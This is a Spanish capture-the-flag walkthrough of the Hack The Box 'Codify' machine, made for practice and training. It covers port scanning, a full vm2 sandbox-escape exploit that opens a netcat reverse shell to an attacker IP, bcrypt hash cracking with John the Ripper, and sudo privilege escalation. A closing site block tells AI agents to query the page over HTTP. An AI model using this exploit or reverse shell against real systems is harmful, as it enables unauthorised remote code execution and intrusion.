# HTB - Codify

<figure><img src="/files/i630KJlnqcQPf1tmRcwM" alt=""><figcaption></figcaption></figure>

## Información General

* **Nombre de la Máquina:  Codify**
* **IP de la Máquina:**  10.10.11.239
* **Sistema Operativo: Linux**
* **Dificultad: Easy**
* **Fecha de Publicación:  04 Nov 2023**

***

### **Enumeration**

**Establecer el objetivo**

Primero, establecemos el objetivo utilizando el comando `settarget` con la dirección IP de la máquina objetivo:

```bash
settarget 10.10.11.239 Codify
```

<figure><img src="/files/DoRKIImfabvyrieWBOSg" alt=""><figcaption></figcaption></figure>

\
**Ping de reconocimiento**

Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción `-R` para incluir la ruta de retorno:

```bash
ping -c 1 10.10.11.239 -R
```

<figure><img src="/files/9CkGXoa2rvEbXNOUdxuB" alt=""><figcaption></figcaption></figure>

**Escaneo de puertos con Nmap**

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones `-p-` para escanear todos los puertos, `--open` para mostrar solo los puertos abiertos, `-sS` para un escaneo de tipo TCP SYN, `--min-rate 5000` para establecer la velocidad mínima de paquetes y `-vvv` para un nivel de verbosidad alto. Además, utilizamos `-n` para desactivar la resolución de DNS, `-Pn` para no realizar el escaneo de ping, y `-oG allPorts` para guardar la salida en un archivo con formato Greppable:

```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv  -n -Pn 10.10.11.239 -oG allPorts
```

<figure><img src="/files/Ly4fdZm2J5OYcrYujkUA" alt=""><figcaption></figcaption></figure>

**Escaneo detallado con Nmap**

Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción `-sCV` para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con `-p __PORTS__` (reemplazando `__PORTS__` con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre `targeted`:

```bash
sudo nmap -sCV -p22,80,3000,8080 10.10.11.239 -oN targeted
```

<figure><img src="/files/fVq6UxHyWBYGXUh52PD3" alt=""><figcaption></figcaption></figure>

```
cat targeted -l java
```

<figure><img src="/files/zJHc5Z4yp9YQdoaRBePS" alt=""><figcaption></figcaption></figure>

Para añadir la entrada "10.10.11.239 codify.htb" al archivo `/etc/hosts`, puedes usar el siguiente comando en la terminal:

```bash
echo "10.10.11.239 codify.htb" | sudo tee -a /etc/hosts
```

Este comando añade la dirección IP `10.10.11.239` asociada al nombre de host `codify.htb` al archivo `/etc/hosts` de tu sistema.

#### Utilizando WhatWeb para Obtener Información sobre el Objetivo

Para obtener más información sobre nuestro objetivo, utilizamos la herramienta WhatWeb. Esta herramienta nos permite identificar tecnologías web utilizadas en el servidor, como el sistema de gestión de contenidos (CMS), el lenguaje de programación, los plugins y otras características. Ejecutamos el siguiente comando:

```bash
whatweb http://codify.htb > whatweb && cat whatweb -l java
```

<figure><img src="/files/SemK1hNlwJss7xr1au85" alt=""><figcaption></figcaption></figure>

Para realizar un descubrimiento de directorios en un sitio web utilizando Gobuster, puedes utilizar el siguiente comando:

```bash
gobuster dir -u http://codify.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50
```

<figure><img src="/files/6D0Fwgt9SLOgq1ePVkyS" alt=""><figcaption></figcaption></figure>

Este comando utiliza Gobuster para realizar un escaneo de directorios en el sitio web `http://codify.htb/`. Utiliza el archivo de palabras `/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt` como lista de palabras clave para la búsqueda. La opción `-t 50` indica que se deben utilizar 50 threads simultáneos para acelerar el proceso.

**TIP: Instalación de SecLists con apt-get**

Para instalar SecLists en sistemas basados en Debian (como Ubuntu) utilizando `apt-get`, puedes seguir estos pasos:

1. Actualiza la lista de paquetes disponibles:

   ```bash
   sudo apt-get update
   ```
2. Instala SecLists:

   ```bash
   sudo apt-get install seclists
   ```

Con estos pasos, SecLists se instalará en tu sistema y podrás acceder a la lista de palabras clave en el directorio `/usr/share/seclists/`

## `Exploitation`

Después de investigar exhaustivamente la página web y enfrentarme a varios desafíos, descubrí un detalle revelador en la sección "About-us": el nombre de la librería utilizada en el sitio, VM2 3.9.16. Esta información resultó ser crucial, ya que al buscar en Google rápidamente, encontré referencias a un "Sandbox Escape" que podría permitirnos realizar un bypass y ejecutar código malicioso en el sistema. Este descubrimiento destaca la importancia de la perseverancia y la atención a los detalles en la seguridad informática, ya que a veces una pequeña pista puede conducir a grandes hallazgos.

<figure><img src="/files/Z3TP43rTJU0rhSlVvz48" alt=""><figcaption><p><a href="https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244">https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244</a></p></figcaption></figure>

```javascript
const { VM } = require("vm2");
const vm = new VM();

const code = `
cmd = 'id'
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.80 6666 >/tmp/f');
}
`
console.log(vm.run(code));

```

<figure><img src="/files/xj06eRhdlidxdowN6f2l" alt=""><figcaption><p>El reverse shell lo saqué de acá: <a href="https://takingnotes.net/security/backdoors-and-shells/">https://takingnotes.net/security/backdoors-and-shells/</a></p></figcaption></figure>

Despues de un rato rebuscando el por el server me encuentro con un archivo llamado `tickets.db` alojado en `/var/www/contact/`

<figure><img src="/files/mlh0hEx3ZkK0ZYKq2vRt" alt=""><figcaption></figcaption></figure>

En este caso, utilizaremos John the Ripper con el formato bcrypt y una lista de palabras comunes para intentar crackear una contraseña.

El comando utilizado es el siguiente:

```bash
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

* `--format=bcrypt`: Especifica el formato del hash a crackear, en este caso, bcrypt.
* `--wordlist=/usr/share/wordlists/rockyou.txt`: Especifica la lista de palabras que se utilizarán en el intento de crackeo. En este caso, se utiliza el archivo `rockyou.txt` que es una lista de contraseñas comunes.
* `hash.txt`: Especifica el archivo que contiene el hash de la contraseña que queremos crackear.

<figure><img src="/files/BQaoOpCJRBISRNNkAbnG" alt=""><figcaption></figcaption></figure>

Conseguimos crackear el hash ;). Por lo que probamos las credenciales, `ssh joshua@codify.htb`.

<figure><img src="/files/rD53Ms0VWoFUB9wJSL7q" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

Encontramos permisos de root en mysql-backup.sh.\
El comando `sudo -l` se utiliza para listar los privilegios que un usuario tiene para ejecutar comandos con `sudo`. `sudo` es un programa que permite a los usuarios ejecutar comandos con los privilegios de otro usuario (normalmente el usuario `root` o administrador) de forma temporal y controlada.

<figure><img src="/files/p1lENcXqQ9fw9EYXmnDY" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/t1j4pSuZk7APBt3seDaQ" alt=""><figcaption></figcaption></figure>

Esto es un bruteforce para el mysql-backup.sh

<figure><img src="/files/Xqnh7uWnS27YwFSVthyK" alt=""><figcaption><p>/tmp/bash.sh</p></figcaption></figure>

<figure><img src="/files/lWqhPsESaIrf8LUOak6w" alt=""><figcaption><p>Resultado</p></figcaption></figure>

Ahora probamos la nueva credencial

<figure><img src="/files/F6NPtOhkU7r7qaTnyrR8" alt=""><figcaption><p>Ya estamos en root, pwned!</p></figcaption></figure>

<figure><img src="/files/hv7kjz0T9bKcE9cAA8l4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://dcollao.gitbook.io/my-pentest-book/writeups/htb-hackthebox/htb-codify.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
